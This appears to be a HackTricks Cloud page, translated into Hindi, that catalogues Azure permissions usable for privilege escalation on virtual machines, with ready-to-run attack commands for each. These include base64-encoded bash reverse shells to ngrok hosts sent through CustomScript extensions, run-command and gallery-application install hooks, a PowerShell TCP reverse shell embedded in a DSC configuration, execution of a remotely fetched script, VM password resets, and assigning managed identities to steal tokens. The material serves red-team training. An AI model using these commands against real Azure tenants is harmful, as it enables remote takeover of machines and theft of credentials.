Az - Virtual Machines & Network Privesc
Reading time: 13 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
VMS & Network
Azure Virtual Machines और Network के बारे में अधिक जानकारी के लिए देखें:
Az - Virtual Machines & Network
Microsoft.Compute/virtualMachines/extensions/write
यह अनुमति वर्चुअल मशीनों में एक्सटेंशन निष्पादित करने की अनुमति देती है जो उन पर मनमाना कोड निष्पादित करने की अनुमति देती है।
एक उदाहरण कस्टम एक्सटेंशनों का दुरुपयोग करके VM में मनमाने कमांड निष्पादित करना:
- एक रिवर्स शेल निष्पादित करें
# Prepare the rev shell
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
- इंटरनेट पर स्थित एक स्क्रिप्ट को निष्पादित करें
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
यह भी संभव है कि ज्ञात एक्सटेंशन का दुरुपयोग करके कोड निष्पादित किया जाए या VMs के अंदर विशेषाधिकार प्राप्त क्रियाएँ की जाएँ:
VMAccess extension
यह एक्सटेंशन Windows VMs के अंदर उपयोगकर्ताओं का पासवर्ड संशोधित करने (या यदि यह मौजूद नहीं है तो बनाने) की अनुमति देता है।
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredConfigurationState (DSC)
यह एक VM एक्सटेंशन है जो Microsoft का है जो Azure Windows VMs की कॉन्फ़िगरेशन प्रबंधित करने के लिए PowerShell DSC का उपयोग करता है। इसलिए, इसे इस एक्सटेंशन के माध्यम से Windows VMs में मनमाने कमांड निष्पादित करने के लिए उपयोग किया जा सकता है:
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output
# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force
# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
हाइब्रिड रनबुक वर्कर
यह एक VM एक्सटेंशन है जो एक ऑटोमेशन खाते से VMs में रनबुक्स को निष्पादित करने की अनुमति देगा। अधिक जानकारी के लिए ऑटोमेशन खातों की सेवा देखें।
Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)
ये आवश्यक अनुमतियाँ हैं एक नया गैलरी एप्लिकेशन बनाने और इसे एक VM के अंदर निष्पादित करने के लिए। गैलरी एप्लिकेशन कुछ भी निष्पादित कर सकते हैं, इसलिए एक हमलावर इसका दुरुपयोग करके मनमाने आदेश निष्पादित करने वाले VM उदाहरणों को समझौता कर सकता है।
अंतिम 2 अनुमतियों को टेनेट के साथ एप्लिकेशन साझा करके टाला जा सकता है।
मनमाने आदेशों को निष्पादित करने के लिए शोषण का उदाहरण:
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"
# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"
# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true
Microsoft.Compute/virtualMachines/runCommand/action
यह Azure द्वारा VMs में मनचाहे कमांड चलाने के लिए प्रदान किया गया सबसे बुनियादी तंत्र है:
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh
# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
Microsoft.Compute/virtualMachines/login/action
यह अनुमति एक उपयोगकर्ता को SSH या RDP के माध्यम से VM में उपयोगकर्ता के रूप में लॉगिन करने की अनुमति देती है (जब तक कि VM में Entra ID प्रमाणीकरण सक्षम है)।
SSH के माध्यम से लॉगिन करें az ssh vm --name <vm-name> --resource-group <rsc-group>
और RDP के माध्यम से अपने नियमित Azure क्रेडेंशियल्स के साथ।
Microsoft.Compute/virtualMachines/loginAsAdmin/action
यह अनुमति एक उपयोगकर्ता को SSH या RDP के माध्यम से VM में उपयोगकर्ता के रूप में लॉगिन करने की अनुमति देती है (जब तक कि VM में Entra ID प्रमाणीकरण सक्षम है)।
SSH के माध्यम से लॉगिन करें az ssh vm --name <vm-name> --resource-group <rsc-group>
और RDP के माध्यम से अपने नियमित Azure क्रेडेंशियल्स के साथ।
Microsoft.Resources/deployments/write
, Microsoft.Network/virtualNetworks/write
, Microsoft.Network/networkSecurityGroups/write
, Microsoft.Network/networkSecurityGroups/join/action
, Microsoft.Network/publicIPAddresses/write
, Microsoft.Network/publicIPAddresses/join/action
, Microsoft.Network/networkInterfaces/write
, Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action
, Microsoft.Network/networkInterfaces/join/action
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
ये सभी आवश्यक अनुमतियाँ हैं एक विशिष्ट प्रबंधित पहचान के साथ VM बनाने और एक पोर्ट खुला छोड़ने के लिए (इस मामले में 22)। यह एक उपयोगकर्ता को एक VM बनाने और उससे कनेक्ट करने और प्रबंधित पहचान टोकन चुराने की अनुमति देता है ताकि इसे विशेषाधिकार बढ़ाने के लिए उपयोग किया जा सके।
स्थिति के आधार पर इस तकनीक का दुरुपयोग करने के लिए अधिक या कम अनुमतियों की आवश्यकता हो सकती है।
az vm create \
--resource-group Resource_Group_1 \
--name cli_vm \
--image Ubuntu2204 \
--admin-username azureuser \
--generate-ssh-keys \
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
--nsg-rule ssh \
--location "centralus"
# By default pub key from ~/.ssh is used (if none, it's generated there)
Microsoft.Compute/virtualMachines/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
ये अनुमतियाँ एक VM को नए प्रबंधित पहचान सौंपने के लिए पर्याप्त हैं। ध्यान दें कि एक VM के पास कई प्रबंधित पहचान हो सकती हैं। इसमें सिस्टम द्वारा सौंपा गया एक और कई उपयोगकर्ता द्वारा प्रबंधित पहचान हो सकती हैं।
फिर, मेटाडेटा सेवा से प्रत्येक के लिए टोकन उत्पन्न करना संभव है।
# Get currently assigned managed identities to the VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>
# Assign several managed identities to a VM
az vm identity assign \
--resource-group <rsc-group> \
--name <vm-name> \
--identities \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
फिर हमलावर को VM को किसी न किसी तरह से समझौता करना होगा ताकि वह असाइन किए गए प्रबंधित पहचान से टोकन चुरा सके। अधिक जानकारी के लिए देखें:
Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
ये अनुमतियाँ वर्चुअल मशीन के उपयोगकर्ता और पासवर्ड को बदलने की अनुमति देती हैं ताकि उसे एक्सेस किया जा सके:
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>
Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".
ये अनुमतियाँ आपको डिस्क और नेटवर्क इंटरफेस प्रबंधित करने की अनुमति देती हैं, और, ये आपको एक वर्चुअल मशीन से डिस्क को संलग्न करने में सक्षम बनाती हैं।
# Update the disk's network access policy
az disk update \
--name <disk-name> \
--resource-group <resource-group-name> \
--network-access-policy AllowAll
# Attach the disk to a virtual machine
az vm disk attach \
--vm-name <vm-name> \
--resource-group <resource-group-name> \
--name <disk-name>
TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
दस्तावेज़ के अनुसार, यह अनुमति आपको Windows Admin Center के माध्यम से अपने संसाधन के OS को एक व्यवस्थापक के रूप में प्रबंधित करने देती है। इसलिए ऐसा लगता है कि यह VMs को नियंत्रित करने के लिए WAC तक पहुंच प्रदान करता है...
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।